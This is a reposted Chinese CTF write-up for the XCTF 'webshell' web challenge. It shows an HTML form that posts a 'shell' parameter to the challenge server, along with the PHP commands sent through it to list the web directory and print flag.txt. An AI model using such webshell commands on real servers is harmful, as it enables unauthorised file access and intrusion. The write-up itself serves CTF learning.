XCTF WEB webshell
生活随笔
收集整理的这篇文章主要介绍了
XCTF WEB webshell
小编觉得挺不错的,现在分享给大家,帮大家做个参考.
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070
版本一
题解:修改HTML代码提交一个shell的变量
变量值是webshell命令
<form action="http://111.198.29.45:36317/index.php" method="post"><input type="text" name="shell"><input type="submit" value="提交"> </form>提交命令
print_r(scandir(getcwd()));在网站目录下发现了flag.txt
提交命令
print_r(show_source('flag.txt'));总结
以上是生活随笔为你收集整理的XCTF WEB webshell的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: XCTF WEB weak_auth
- 下一篇: XCTF WEB command_exe